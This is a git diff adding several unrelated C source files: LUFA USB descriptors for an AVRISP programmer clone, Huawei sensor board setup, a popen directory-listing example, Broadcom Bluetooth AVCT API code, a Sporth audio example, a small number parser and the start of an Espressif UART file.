+ Copyright 2010 Dean Camera (dean [at] fourwalledcubicle [dot] com) + + Permission to use, copy, modify, distribute, and sell this + software and its documentation for any purpose is hereby granted + without fee, provided that the above copyright notice appear in + all copies and that both that the copyright notice and this + permission notice and warranty disclaimer appear in supporting + documentation, and that the name of the author not be used in + advertising or publicity pertaining to distribution of the + software without specific, written prior permission. + + The author disclaim all warranties with regard to this + software, including all implied warranties of merchantability + and fitness. In no event shall the author be liable for any + special, indirect or consequential damages or any damages + whatsoever resulting from loss of use, data or profits, whether + in an action of contract, negligence or other tortious action, + arising out of or in connection with the use or performance of + this software. +*/ + +/** \file + * + * USB Device Descriptors, for library use when in USB device mode. Descriptors are special + * computer-readable structures which the host requests upon device enumeration, to determine + * the device's capabilities and functions. + */ + +#include "Descriptors.h" + +/** Device descriptor structure. This descriptor, located in FLASH memory, describes the overall + * device characteristics, including the supported USB version, control endpoint size and the + * number of device configurations. The descriptor is read out by the USB host when the enumeration + * process begins. + */ +USB_Descriptor_Device_t PROGMEM DeviceDescriptor = +{ + .Header = {.Size = sizeof(USB_Descriptor_Device_t), .Type = DTYPE_Device}, + + .USBSpecification = VERSION_BCD(01.10), + .Class = 0xFF, + .SubClass = 0x00, + .Protocol = 0x00, + + .Endpoint0Size = FIXED_CONTROL_ENDPOINT_SIZE, + + .VendorID = 0x03EB, + .ProductID = 0x2104, + .ReleaseNumber = VERSION_BCD(02.00), + + .ManufacturerStrIndex = 0x01, + .ProductStrIndex = 0x02, + .SerialNumStrIndex = 0x03, + + .NumberOfConfigurations = FIXED_NUM_CONFIGURATIONS +}; + +/** Configuration descriptor structure. This descriptor, located in FLASH memory, describes the usage + * of the device in one of its supported configurations, including information about any device interfaces + * and endpoints. The descriptor is read out by the USB host during the enumeration process when selecting + * a configuration so that the host may correctly communicate with the USB device. + */ +USB_Descriptor_Configuration_t PROGMEM ConfigurationDescriptor = +{ + .Config = + { + .Header = {.Size = sizeof(USB_Descriptor_Configuration_Header_t), .Type = DTYPE_Configuration}, + + .TotalConfigurationSize = sizeof(USB_Descriptor_Configuration_t), + .TotalInterfaces = 1, + + .ConfigurationNumber = 1, + .ConfigurationStrIndex = NO_DESCRIPTOR, + + .ConfigAttributes = USB_CONFIG_ATTR_BUSPOWERED, + + .MaxPowerConsumption = USB_CONFIG_POWER_MA(100) + }, + + .AVRISP_Interface = + { + .Header = {.Size = sizeof(USB_Descriptor_Interface_t), .Type = DTYPE_Interface}, + + .InterfaceNumber = 0, + .AlternateSetting = 0, + + .TotalEndpoints = 2, + + .Class = 0xFF, + .SubClass = 0x00, + .Protocol = 0x00, + + .InterfaceStrIndex = NO_DESCRIPTOR + }, + + .AVRISP_DataInEndpoint = + { + .Header = {.Size = sizeof(USB_Descriptor_Endpoint_t), .Type = DTYPE_Endpoint}, + + .EndpointAddress = (ENDPOINT_DESCRIPTOR_DIR_IN | AVRISP_DATA_IN_EPNUM), + .Attributes = (EP_TYPE_BULK | ENDPOINT_ATTR_NO_SYNC | ENDPOINT_USAGE_DATA), + .EndpointSize = AVRISP_DATA_EPSIZE, + .PollingIntervalMS = 0x00 + }, + + .AVRISP_DataOutEndpoint = + { + .Header = {.Size = sizeof(USB_Descriptor_Endpoint_t), .Type = DTYPE_Endpoint}, + + .EndpointAddress = (ENDPOINT_DESCRIPTOR_DIR_OUT | AVRISP_DATA_OUT_EPNUM), + .Attributes = (EP_TYPE_BULK | ENDPOINT_ATTR_NO_SYNC | ENDPOINT_USAGE_DATA), + .EndpointSize = AVRISP_DATA_EPSIZE, + .PollingIntervalMS = 0x00 + }, +}; + +/** Language descriptor structure. This descriptor, located in FLASH memory, is returned when the host requests + * the string descriptor with index 0 (the first index). It is actually an array of 16-bit integers, which indicate + * via the language ID table available at USB.org what languages the device supports for its string descriptors. + */ +USB_Descriptor_String_t PROGMEM LanguageString = +{ + .Header = {.Size = USB_STRING_LEN(1), .Type = DTYPE_String}, + + .UnicodeString = {LANGUAGE_ID_ENG} +}; + +/** Manufacturer descriptor string. This is a Unicode string containing the manufacturer's details in human readable + * form, and is read out upon request by the host when the appropriate string ID is requested, listed in the Device + * Descriptor. + */ +USB_Descriptor_String_t PROGMEM ManufacturerString = +{ + .Header = {.Size = USB_STRING_LEN(11), .Type = DTYPE_String}, + + .UnicodeString = L"Dean Camera" +}; + +/** Product descriptor string. This is a Unicode string containing the product's details in human readable form, + * and is read out upon request by the host when the appropriate string ID is requested, listed in the Device + * Descriptor. + */ +USB_Descriptor_String_t PROGMEM ProductString = +{ + .Header = {.Size = USB_STRING_LEN(22), .Type = DTYPE_String}, + + .UnicodeString = L"LUFA AVRISP MkII Clone" +}; + +/** Serial number string. This is a Unicode string containing the device's unique serial number, expressed as a + * series of uppercase hexadecimal digits. + */ +USB_Descriptor_String_t PROGMEM SerialString = +{ + .Header = {.Size = USB_STRING_LEN(13), .Type = DTYPE_String}, + + .UnicodeString = L"0000A00128255" +}; + +/** This function is called by the library when in device mode, and must be overridden (see library "USB Descriptors" + * documentation) by the application code so that the address and size of a requested descriptor can be given + * to the USB library. When the device receives a Get Descriptor request on the control endpoint, this function + * is called so that the descriptor details can be passed back and the appropriate descriptor sent back to the + * USB host. + */ +uint16_t CALLBACK_USB_GetDescriptor(const uint16_t wValue, + const uint8_t wIndex, + void** const DescriptorAddress) +{ + const uint8_t DescriptorType = (wValue >> 8); + const uint8_t DescriptorNumber = (wValue & 0xFF); + + void* Address = NULL; + uint16_t Size = NO_DESCRIPTOR; + + switch (DescriptorType) + { + case DTYPE_Device: + Address = (void*)&DeviceDescriptor; + Size = sizeof(USB_Descriptor_Device_t); + break; + case DTYPE_Configuration: + Address = (void*)&ConfigurationDescriptor; + Size = sizeof(USB_Descriptor_Configuration_t); + break; + case DTYPE_String: + switch (DescriptorNumber) + { + case 0x00: + Address = (void*)&LanguageString; + Size = pgm_read_byte(&LanguageString.Header.Size); + break; + case 0x01: + Address = (void*)&ManufacturerString; + Size = pgm_read_byte(&ManufacturerString.Header.Size); + break; + case 0x02: + Address = (void*)&ProductString; + Size = pgm_read_byte(&ProductString.Header.Size); + break; + case 0x03: + Address = (void*)&SerialString; + Size = pgm_read_byte(&SerialString.Header.Size); + break; + } + + break; + } + + *DescriptorAddress = Address; + return Size; +} diff --git a/pool/shard011/C/0142026_dev_sensor.c b/pool/shard011/C/0142026_dev_sensor.c new file mode 100644 index 0000000000000000000000000000000000000000..a7f415183f6af6706ea20beffde805f143b958ed --- /dev/null +++ b/pool/shard011/C/0142026_dev_sensor.c @@ -0,0 +1,204 @@ +/*sensor device declare and register, such as touchscreen, keypad, compass, accelerator*/ + +/*sensor unification for differ platform*/ +/*============================================================================== +History + +Problem NO. Name Time Reason + +==============================================================================*/ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "../../../drivers/huawei/device/accelerometer/lis3dh.h" +#include "../../../drivers/huawei/device/accelerometer/adxl34x.h" +#include "../../../drivers/huawei/device/accelerometer/gs_mma8452.h" +#include "../../../drivers/huawei/device/gyroscope/l3g4200d.h" +#include "../../../drivers/huawei/device/compass/akm8975.h" +#include "../../../drivers/huawei/device/light/apds990x.h" + +#include +#include + +#define GSENSOR_INT_GPIO GPIO_5_4 +#define COMPASS_INT_GPIO GPIO_5_1 +#define PROXIMITY_INT_GPIO GPIO_5_0 + +static struct lis3dh_acc_platform_data gs_platform_data = { + + .poll_interval = 10, + .min_interval = 10, + + .g_range = 0x00, + + .axis_map_x = 0, + .axis_map_y = 1, + .axis_map_z = 2, + + .negate_x = 1, /* modified by zkf55108 2011/10/26 */ + .negate_y = 1, /* modified by zkf55108 2011/10/26 */ + .negate_z = 0, + + .gpio_int1 = -1, /* if used this irq,set gpio_int1=GPIO_18_4 */ + .gpio_int2 = -1, /* if used this irq,set gpio_int2=GPIO_6_3 */ +}; + +static struct mma8452_acc_platform_data mma8452_platform_data = { +}; + +static struct akm8975_platform_data compass_platform_data = { + .gpio_DRDY = GPIO_5_1 ,/* GPIO_5_1 */ /* modified by zkf55108 2011/10/26 */ +}; + +static struct l3g4200d_gyr_platform_data l3g4200d_gyr_platform_data = { + .poll_interval = 10, + .min_interval = 10, + + .fs_range = 0x30, + + .axis_map_x = 1, /* modified by zkf55108 2011/10/26 */ + .axis_map_y = 0, /* modified by zkf55108 2011/10/26 */ + .axis_map_z = 2, + + .negate_x = 1, + .negate_y = 1, + .negate_z = 0, +}; + +static struct adxl34x_platform_data adxl34x_default_init = { + .tap_threshold = 35, + .tap_duration = 3, + .tap_latency = 20, + .tap_window = 20, + .tap_axis_control = ADXL_TAP_X_EN | ADXL_TAP_Y_EN | ADXL_TAP_Z_EN, + .act_axis_control = 0xFF, + .activity_threshold = 6, + .inactivity_threshold = 4, + .inactivity_time = 3, + .free_fall_threshold = 8, + .free_fall_time = 0x20, + .data_rate = 10, + /* .data_rate = 8, */ + .data_range = ADXL_FULL_RES, + + .ev_type = EV_ABS, + .ev_code_x = ABS_X, /* EV_REL */ + .ev_code_y = ABS_Y, /* EV_REL */ + .ev_code_z = ABS_Z, /* EV_REL */ + + .ev_code_tap_x = BTN_TOUCH, /* EV_KEY */ + .ev_code_tap_y = BTN_TOUCH, /* EV_KEY */ + .ev_code_tap_z = BTN_TOUCH, /* EV_KEY */ + .power_mode = ADXL_LINK, + .fifo_mode = FIFO_STREAM, + .watermark = 0, +}; + +struct apds990x_platform_data apds990x_light_platform_data = { +}; + +static struct i2c_board_info k3v2oem1_i2c_0_boardinfo[] = { + +#ifdef CONFIG_HUAWEI_FEATURE_SENSORS_AKM8975 + { + I2C_BOARD_INFO(AKM8975C_I2C_NAME, AKM8975C_I2C_ADDR), + .platform_data = &compass_platform_data, + .irq = IRQ_GPIO(COMPASS_INT_GPIO), + }, +#endif + +#ifdef CONFIG_HUAWEI_FEATURE_SENSORS_ACCELEROMETER_ST_LIS3XH + { + I2C_BOARD_INFO(LIS3DH_I2C_NAME, LIS3DH_I2C_ADDR), + .platform_data = &gs_platform_data, + }, +#endif + +#ifdef CONFIG_HUAWEI_FEATURE_SENSORS_ACCELEROMETER_MMA8452 + { + I2C_BOARD_INFO(MMA8452_I2C_NAME, MMA8452_I2C_ADDR), + .platform_data = &mma8452_platform_data, + }, +#endif + +#ifdef CONFIG_HUAWEI_FEATURE_GYROSCOPE_L3G4200DH + { + I2C_BOARD_INFO(L3G4200D_I2C_NAME, L3G4200D_I2C_ADDR), + .platform_data = &l3g4200d_gyr_platform_data, + }, +#endif + +#ifdef CONFIG_HUAWEI_FEATURE_SENSORS_ACCELEROMETER_ADI_ADXL346 + { + I2C_BOARD_INFO(ADXL34X_I2C_NAME, ADXL34X_I2C_ADDR), + .irq = IRQ_GPIO(GSENSOR_INT_GPIO), + .platform_data = &adxl34x_default_init, + }, +#endif + +#ifdef CONFIG_HUAWEI_FEATURE_PROXIMITY_APDS990X + { + I2C_BOARD_INFO(APDS990x_I2C_NAME, APDS990x_I2C_ADDR), + .irq = IRQ_GPIO(PROXIMITY_INT_GPIO), + .platform_data = &apds990x_light_platform_data, + }, +#endif + +}; + +/* sensor layout init for different board */ +void sensor_layout_init(void) +{ + unsigned int sensor_type; + + sensor_type = E_SENSOR_TYPE_PHONE; + +#if 0 + sensor_type = get_sensor_type(); +#endif + + switch (sensor_type) { + case E_SENSOR_TYPE_PHONE: + gs_platform_data.negate_x = 1; + gs_platform_data.negate_y = 1; + mma8452_platform_data.config_mxc_mma_position = 1; + adxl34x_default_init.config_adxl34x_position = 0; + compass_platform_data.config_akm_position = 3; + l3g4200d_gyr_platform_data.negate_x = 1; + l3g4200d_gyr_platform_data.negate_y = 1; + break; + case E_SENSOR_TYPE_PLATFORM: + gs_platform_data.negate_x = 0; + gs_platform_data.negate_y = 0; + mma8452_platform_data.config_mxc_mma_position = 3; + adxl34x_default_init.config_adxl34x_position = 2; + compass_platform_data.config_akm_position = 1; + l3g4200d_gyr_platform_data.negate_x = 0; + l3g4200d_gyr_platform_data.negate_y = 0; + break; + default: + pr_err("sensor_type unsupported\n"); + break; + } +} + +static int __devinit hw_devices_init(void) +{ + sensor_layout_init(); + + i2c_register_board_info(3, k3v2oem1_i2c_0_boardinfo, ARRAY_SIZE(k3v2oem1_i2c_0_boardinfo)); + return 0; +} + +core_initcall(hw_devices_init); + +MODULE_AUTHOR("huawei skf55108"); +MODULE_DESCRIPTION("huawei devices init"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0142027_PipeFunction.c b/pool/shard011/C/0142027_PipeFunction.c new file mode 100644 index 0000000000000000000000000000000000000000..f3fea064d31de3d77699fb2d84544d186f9c2a5f --- /dev/null +++ b/pool/shard011/C/0142027_PipeFunction.c @@ -0,0 +1,27 @@ +/***********************************************************/ +// File Name : PipeFunction.c +// Author : Donald Zhuang +// E-Mail : +// Create Time : Sat 25 Mar 2017 12:54:44 PM CST +/**********************************************************/ + +#include +#include +#include + +int main(int argc,char *argv[]) +{ + char buf[255]; + FILE *fd; + int line = 1; + + fd = popen("/bin/ls -l", "r"); + //while( fscanf( fd, "%s", buf ) != EOF ) + + while( fgets( buf, 255, fd ) != NULL ) + { + printf("line %d: %s", line, buf); + line++; + } + return 0; +} diff --git a/pool/shard011/C/0142028_avct_api.c b/pool/shard011/C/0142028_avct_api.c new file mode 100644 index 0000000000000000000000000000000000000000..675ecaf83af9240859490087be7d2b2d9248eb1a --- /dev/null +++ b/pool/shard011/C/0142028_avct_api.c @@ -0,0 +1,442 @@ +/****************************************************************************** + * + * Copyright (C) 2003-2012 Broadcom Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ******************************************************************************/ + +/****************************************************************************** + * + * This module contains API of the audio/video control transport protocol. + * + ******************************************************************************/ + +#include +#include "bt_types.h" +#include "bt_target.h" +#include "bt_utils.h" +#include "l2c_api.h" +#include "l2cdefs.h" +#include "btm_api.h" +#include "avct_api.h" +#include "avct_int.h" +#include "allocator.h" + +#if (defined(AVCT_INCLUDED) && AVCT_INCLUDED == TRUE) + +/* Control block for AVCT */ +#if AVCT_DYNAMIC_MEMORY == FALSE +tAVCT_CB avct_cb; +#endif + +/******************************************************************************* +** +** Function AVCT_Register +** +** Description This is the system level registration function for the +** AVCTP protocol. This function initializes AVCTP and +** prepares the protocol stack for its use. This function +** must be called once by the system or platform using AVCTP +** before the other functions of the API an be used. +** +** +** Returns void +** +*******************************************************************************/ +void AVCT_Register(UINT16 mtu, UINT16 mtu_br, UINT8 sec_mask) +{ + UNUSED(mtu_br); + + AVCT_TRACE_API("AVCT_Register"); + + /* register PSM with L2CAP */ + L2CA_Register(AVCT_PSM, (tL2CAP_APPL_INFO *) &avct_l2c_appl); + + /* set security level */ + BTM_SetSecurityLevel(TRUE, "", BTM_SEC_SERVICE_AVCTP, sec_mask, AVCT_PSM, 0, 0); + BTM_SetSecurityLevel(FALSE, "", BTM_SEC_SERVICE_AVCTP, sec_mask, AVCT_PSM, 0, 0); + + /* initialize AVCTP data structures */ + memset(&avct_cb, 0, sizeof(tAVCT_CB)); + +#if (AVCT_BROWSE_INCLUDED == TRUE) + /* Include the browsing channel which uses eFCR */ + L2CA_Register(AVCT_BR_PSM, (tL2CAP_APPL_INFO *) &avct_l2c_br_appl); + + BTM_SetSecurityLevel(TRUE, "", BTM_SEC_SERVICE_AVCTP_BROWSE, sec_mask, AVCT_BR_PSM, 0, 0); + BTM_SetSecurityLevel(FALSE, "", BTM_SEC_SERVICE_AVCTP_BROWSE, sec_mask, AVCT_BR_PSM, 0, 0); + + if (mtu_br < AVCT_MIN_BROWSE_MTU) { + mtu_br = AVCT_MIN_BROWSE_MTU; + } + avct_cb.mtu_br = mtu_br; +#endif + +#if defined(AVCT_INITIAL_TRACE_LEVEL) + avct_cb.trace_level = AVCT_INITIAL_TRACE_LEVEL; +#else + avct_cb.trace_level = BT_TRACE_LEVEL_NONE; +#endif + + if (mtu < AVCT_MIN_CONTROL_MTU) { + mtu = AVCT_MIN_CONTROL_MTU; + } + /* store mtu */ + avct_cb.mtu = mtu; +} + +/******************************************************************************* +** +** Function AVCT_Deregister +** +** Description This function is called to deregister use AVCTP protocol. +** It is called when AVCTP is no longer being used by any +** application in the system. Before this function can be +** called, all connections must be removed with +** AVCT_RemoveConn(). +** +** +** Returns void +** +*******************************************************************************/ +void AVCT_Deregister(void) +{ + AVCT_TRACE_API("AVCT_Deregister"); + + /* deregister PSM with L2CAP */ + L2CA_Deregister(AVCT_PSM); +} + +/******************************************************************************* +** +** Function AVCT_CreateConn +** +** Description Create an AVCTP connection. There are two types of +** connections, initiator and acceptor, as determined by +** the p_cc->role parameter. When this function is called to +** create an initiator connection, an AVCTP connection to +** the peer device is initiated if one does not already exist. +** If an acceptor connection is created, the connection waits +** passively for an incoming AVCTP connection from a peer device. +** +** +** Returns AVCT_SUCCESS if successful, otherwise error. +** +*******************************************************************************/ +UINT16 AVCT_CreateConn(UINT8 *p_handle, tAVCT_CC *p_cc, BD_ADDR peer_addr) +{ + UINT16 result = AVCT_SUCCESS; + tAVCT_CCB *p_ccb; + tAVCT_LCB *p_lcb; + + AVCT_TRACE_API("AVCT_CreateConn: %d, control:%d", p_cc->role, p_cc->control); + + /* Allocate ccb; if no ccbs, return failure */ + if ((p_ccb = avct_ccb_alloc(p_cc)) == NULL) { + result = AVCT_NO_RESOURCES; + } else { + /* get handle */ + *p_handle = avct_ccb_to_idx(p_ccb); + + /* if initiator connection */ + if (p_cc->role == AVCT_INT) { + /* find link; if none allocate a new one */ + if ((p_lcb = avct_lcb_by_bd(peer_addr)) == NULL) { + if ((p_lcb = avct_lcb_alloc(peer_addr)) == NULL) { + /* no link resources; free ccb as well */ + avct_ccb_dealloc(p_ccb, AVCT_NO_EVT, 0, NULL); + result = AVCT_NO_RESOURCES; + } + } + /* check if PID already in use */ + else if (avct_lcb_has_pid(p_lcb, p_cc->pid)) { + avct_ccb_dealloc(p_ccb, AVCT_NO_EVT, 0, NULL); + result = AVCT_PID_IN_USE; + } + + if (result == AVCT_SUCCESS) { + /* bind lcb to ccb */ + p_ccb->p_lcb = p_lcb; + AVCT_TRACE_DEBUG("ch_state: %d", p_lcb->ch_state); + avct_lcb_event(p_lcb, AVCT_LCB_UL_BIND_EVT, (tAVCT_LCB_EVT *) &p_ccb); + } + } + } + return result; +} + +/******************************************************************************* +** +** Function AVCT_RemoveConn +** +** Description Remove an AVCTP connection. This function is called when +** the application is no longer using a connection. If this +** is the last connection to a peer the L2CAP channel for AVCTP +** will be closed. +** +** +** Returns AVCT_SUCCESS if successful, otherwise error. +** +*******************************************************************************/ +UINT16 AVCT_RemoveConn(UINT8 handle) +{ + UINT16 result = AVCT_SUCCESS; + tAVCT_CCB *p_ccb; + + AVCT_TRACE_API("AVCT_RemoveConn"); + + /* map handle to ccb */ + if ((p_ccb = avct_ccb_by_idx(handle)) == NULL) { + result = AVCT_BAD_HANDLE; + } + /* if connection not bound to lcb, dealloc */ + else if (p_ccb->p_lcb == NULL) { + avct_ccb_dealloc(p_ccb, AVCT_NO_EVT, 0, NULL); + } + /* send unbind event to lcb */ + else { + avct_lcb_event(p_ccb->p_lcb, AVCT_LCB_UL_UNBIND_EVT, (tAVCT_LCB_EVT *) &p_ccb); + } + return result; +} + +/******************************************************************************* +** +** Function AVCT_CreateBrowse +** +** Description Create an AVCTP Browse channel. There are two types of +** connections, initiator and acceptor, as determined by +** the role parameter. When this function is called to +** create an initiator connection, the Browse channel to +** the peer device is initiated if one does not already exist. +** If an acceptor connection is created, the connection waits +** passively for an incoming AVCTP connection from a peer device. +** +** +** Returns AVCT_SUCCESS if successful, otherwise error. +** +*******************************************************************************/ +UINT16 AVCT_CreateBrowse (UINT8 handle, UINT8 role) +{ +#if (AVCT_BROWSE_INCLUDED == TRUE) + UINT16 result = AVCT_SUCCESS; + tAVCT_CCB *p_ccb; + tAVCT_BCB *p_bcb; + int index; + + AVCT_TRACE_API("AVCT_CreateBrowse: %d", role); + + /* map handle to ccb */ + if ((p_ccb = avct_ccb_by_idx(handle)) == NULL) { + return AVCT_BAD_HANDLE; + } else { + /* mark this CCB as supporting browsing channel */ + if ((p_ccb->allocated & AVCT_ALOC_BCB) == 0) { + p_ccb->allocated |= AVCT_ALOC_BCB; + } + } + + /* if initiator connection */ + if (role == AVCT_INT) { + /* the link control block must exist before this function is called as INT. */ + if ((p_ccb->p_lcb == NULL) || (p_ccb->p_lcb->allocated == 0)) { + result = AVCT_NOT_OPEN; + } else { + /* find link; if none allocate a new one */ + index = p_ccb->p_lcb->allocated; + if (index > AVCT_NUM_LINKS) { + result = AVCT_BAD_HANDLE; + } else { + p_bcb = &avct_cb.bcb[index - 1]; + p_bcb->allocated = index; + } + } + + if (result == AVCT_SUCCESS) { + /* bind bcb to ccb */ + p_ccb->p_bcb = p_bcb; + AVCT_TRACE_DEBUG("ch_state: %d", p_bcb->ch_state); + avct_bcb_event(p_bcb, AVCT_LCB_UL_BIND_EVT, (tAVCT_LCB_EVT *) &p_ccb); + } + } + + return result; +#else + UNUSED(handle); + UNUSED(role); + return AVCT_NO_RESOURCES; +#endif +} + +/******************************************************************************* +** +** Function AVCT_RemoveBrowse +** +** Description Remove an AVCTP Browse channel. This function is called when +** the application is no longer using a connection. If this +** is the last connection to a peer the L2CAP channel for AVCTP +** will be closed. +** +** +** Returns AVCT_SUCCESS if successful, otherwise error. +** +*******************************************************************************/ +UINT16 AVCT_RemoveBrowse (UINT8 handle) +{ +#if (AVCT_BROWSE_INCLUDED == TRUE) + UINT16 result = AVCT_SUCCESS; + tAVCT_CCB *p_ccb; + + AVCT_TRACE_API("AVCT_RemoveBrowse"); + + /* map handle to ccb */ + if ((p_ccb = avct_ccb_by_idx(handle)) == NULL) { + result = AVCT_BAD_HANDLE; + } else if (p_ccb->p_bcb != NULL) + /* send unbind event to bcb */ + { + avct_bcb_event(p_ccb->p_bcb, AVCT_LCB_UL_UNBIND_EVT, (tAVCT_LCB_EVT *) &p_ccb); + } + return result; +#else + UNUSED(handle); + return AVCT_NO_RESOURCES; +#endif +} + +/******************************************************************************* +** +** Function AVCT_GetBrowseMtu +** +** Description Get the peer_mtu for the AVCTP Browse channel of the given +** connection. +** +** Returns the peer browsing channel MTU. +** +*******************************************************************************/ +UINT16 AVCT_GetBrowseMtu (UINT8 handle) +{ + UINT16 peer_mtu = AVCT_MIN_BROWSE_MTU; +#if (AVCT_BROWSE_INCLUDED == TRUE) + tAVCT_CCB *p_ccb; + + if ((p_ccb = avct_ccb_by_idx(handle)) != NULL && p_ccb->p_bcb != NULL) { + peer_mtu = p_ccb->p_bcb->peer_mtu; + } +#else + UNUSED(handle); +#endif + return peer_mtu; +} + +/******************************************************************************* +** +** Function AVCT_GetPeerMtu +** +** Description Get the peer_mtu for the AVCTP channel of the given +** connection. +** +** Returns the peer MTU size. +** +*******************************************************************************/ +UINT16 AVCT_GetPeerMtu (UINT8 handle) +{ + UINT16 peer_mtu = L2CAP_DEFAULT_MTU; + tAVCT_CCB *p_ccb; + + /* map handle to ccb */ + if ((p_ccb = avct_ccb_by_idx(handle)) != NULL) { + if (p_ccb->p_lcb) { + peer_mtu = p_ccb->p_lcb->peer_mtu; + } + } + + return peer_mtu; +} + +/******************************************************************************* +** +** Function AVCT_MsgReq +** +** Description Send an AVCTP message to a peer device. In calling +** AVCT_MsgReq(), the application should keep track of the +** congestion state of AVCTP as communicated with events +** AVCT_CONG_IND_EVT and AVCT_UNCONG_IND_EVT. If the +** application calls AVCT_MsgReq() when AVCTP is congested +** the message may be discarded. The application may make its +** first call to AVCT_MsgReq() after it receives an +** AVCT_CONNECT_CFM_EVT or AVCT_CONNECT_IND_EVT on control channel or +** AVCT_BROWSE_CONN_CFM_EVT or AVCT_BROWSE_CONN_IND_EVT on browsing channel. +** +** p_msg->layer_specific must be set to +** AVCT_DATA_CTRL for control channel traffic; +** AVCT_DATA_BROWSE for for browse channel traffic. +** +** Returns AVCT_SUCCESS if successful, otherwise error. +** +*******************************************************************************/ +UINT16 AVCT_MsgReq(UINT8 handle, UINT8 label, UINT8 cr, BT_HDR *p_msg) +{ + UINT16 result = AVCT_SUCCESS; + tAVCT_CCB *p_ccb; + tAVCT_UL_MSG ul_msg; + + AVCT_TRACE_API("AVCT_MsgReq"); + + /* verify p_msg parameter */ + if (p_msg == NULL) { + return AVCT_NO_RESOURCES; + } + AVCT_TRACE_API("len: %d", p_msg->len); + + /* map handle to ccb */ + if ((p_ccb = avct_ccb_by_idx(handle)) == NULL) { + result = AVCT_BAD_HANDLE; + osi_free(p_msg); + } + /* verify channel is bound to link */ + else if (p_ccb->p_lcb == NULL) { + result = AVCT_NOT_OPEN; + osi_free(p_msg); + } + + if (result == AVCT_SUCCESS) { + ul_msg.p_buf = p_msg; + ul_msg.p_ccb = p_ccb; + ul_msg.label = label; + ul_msg.cr = cr; + +#if (AVCT_BROWSE_INCLUDED == TRUE) + /* send msg event to bcb */ + if (p_msg->layer_specific == AVCT_DATA_BROWSE) { + if (p_ccb->p_bcb == NULL && (p_ccb->allocated & AVCT_ALOC_BCB) == 0) { + /* BCB channel is not open and not allocated */ + result = AVCT_BAD_HANDLE; + osi_free(p_msg); + } else { + p_ccb->p_bcb = avct_bcb_by_lcb(p_ccb->p_lcb); + avct_bcb_event(p_ccb->p_bcb, AVCT_LCB_UL_MSG_EVT, (tAVCT_LCB_EVT *) &ul_msg); + } + } + /* send msg event to lcb */ + else +#endif + { + avct_lcb_event(p_ccb->p_lcb, AVCT_LCB_UL_MSG_EVT, (tAVCT_LCB_EVT *) &ul_msg); + } + } + return result; +} + +#endif /* #if (defined(AVCT_INCLUDED) && AVCT_INCLUDED == TRUE) */ diff --git a/pool/shard011/C/0142029_user_function.c b/pool/shard011/C/0142029_user_function.c new file mode 100644 index 0000000000000000000000000000000000000000..28ac01bcdd36a46853177723e9c3ad82aca68252 --- /dev/null +++ b/pool/shard011/C/0142029_user_function.c @@ -0,0 +1,120 @@ +/* + * User Function example + * + * This C example creates a sporth CLI parse identical to the default one, + * except with a BP scale generator defined for function slot 0 (called by running "0 f"). + * + * To hear a simple implementation of this function in action, run: + * + * echo "8 metro 14 0 count 250 0 f 0.5 sine" | ./user_function + * + */ + + +#include +#include +#include +#include + +typedef struct { + plumber_data pd; +} UserData; + +typedef struct { + SPFLOAT base; +} bp_data; + +void process(sp_data *sp, void *ud) +{ + UserData *data = ud; + plumber_data *pd = &data->pd; + plumber_compute(pd, PLUMBER_COMPUTE); + SPFLOAT out; + sp->out[0] = sporth_stack_pop_float(&pd->sporth.stack); +} + +static int bp2frq(plumber_data *pd, sporth_stack *stack, void **ud) +{ + SPFLOAT step, base; + sporth_func_d *fd; + bp_data *bd; + switch(pd->mode) { + case PLUMBER_CREATE: + +#ifdef DEBUG_MODE + fprintf(stderr, "Default user function in create mode.\n"); +#endif + + break; + case PLUMBER_INIT: + +#ifdef DEBUG_MODE + fprintf(stderr, "Default user function in init mode.\n"); +#endif + + if(sporth_check_args(stack, "ff") != SPORTH_OK) { + fprintf(stderr,"Not enough arguments for bpscale\n"); + stack->error++; + return PLUMBER_NOTOK; + } + + bd = *ud; + + base = sporth_stack_pop_float(stack); + step = sporth_stack_pop_float(stack); + + bd->base = base; + + sporth_stack_push_float(stack, 0); + + break; + + case PLUMBER_COMPUTE: + + base = sporth_stack_pop_float(stack); + step = sporth_stack_pop_float(stack); + + sporth_stack_push_float(stack, base * pow(3, 1.0 * step / 13)); + + break; + + case PLUMBER_DESTROY: +#ifdef DEBUG_MODE + fprintf(stderr, "Default user function in destroy mode.\n"); +#endif + bd = *ud; + + break; + + default: + fprintf(stderr, "aux (f)unction: unknown mode!\n"); + break; + } + return PLUMBER_OK; +} + +int main(int argc, char *argv[]) +{ + plumber_data pd; + sp_data *sp; + sp_create(&sp); + pd.sp = sp; + plumber_register(&pd); + plumber_init(&pd); + + char *sporth_string = "8 metro 14 0 count 250 _bp f 0.5 sine"; + + bp_data bd; + plumber_ftmap_add_function(&pd, "bp", bp2frq, &bd); + + if(plumber_parse_string(&pd, sporth_string) == PLUMBER_OK) { + plumber_compute(&pd, PLUMBER_INIT); + } + + sp_process(sp, &pd, process); + + plumber_clean(&pd); + sp_destroy(&sp); + + return 0; +} diff --git a/pool/shard011/C/0142030_expr.c b/pool/shard011/C/0142030_expr.c new file mode 100644 index 0000000000000000000000000000000000000000..8df743dbe713e4eb4c466b31f1ab8be727f4cddc --- /dev/null +++ b/pool/shard011/C/0142030_expr.c @@ -0,0 +1,29 @@ +#include "huron/expr.h" + +#include "huron/object.h" + +#include +#include +#include + +static struct huron_object *huron_number_new(int64_t value) +{ + struct huron_object *obj; + + obj = huron_object_new(HURON_OBJECT_NUMBER); + if (!obj) + return NULL; + + obj->value.number = value; + + return obj; +} + +struct huron_object *huron_parse(const char *s) +{ + unsigned long value; + + value = strtoll(s, NULL, 10); + + return huron_number_new(value); +} diff --git a/pool/shard011/C/0142031_uart.c b/pool/shard011/C/0142031_uart.c new file mode 100644 index 0000000000000000000000000000000000000000..49fc9bb87cbcdd8d2b15f3f6ed86fb82bb4c0440 --- /dev/null +++ b/pool/shard011/C/0142031_uart.c @@ -0,0 +1,235 @@ +/****************************************************************************** + * Copyright 2013-2014 Espressif Systems (Wuxi) + * + * FileName: uart.c + * + * Description: Two UART mode configration and interrupt handler. + * Check your hardware connection while use this mode. + * + * Modification history: + * 2014/3/12, v1.0 create this file. +*******************************************************************************/ +#include 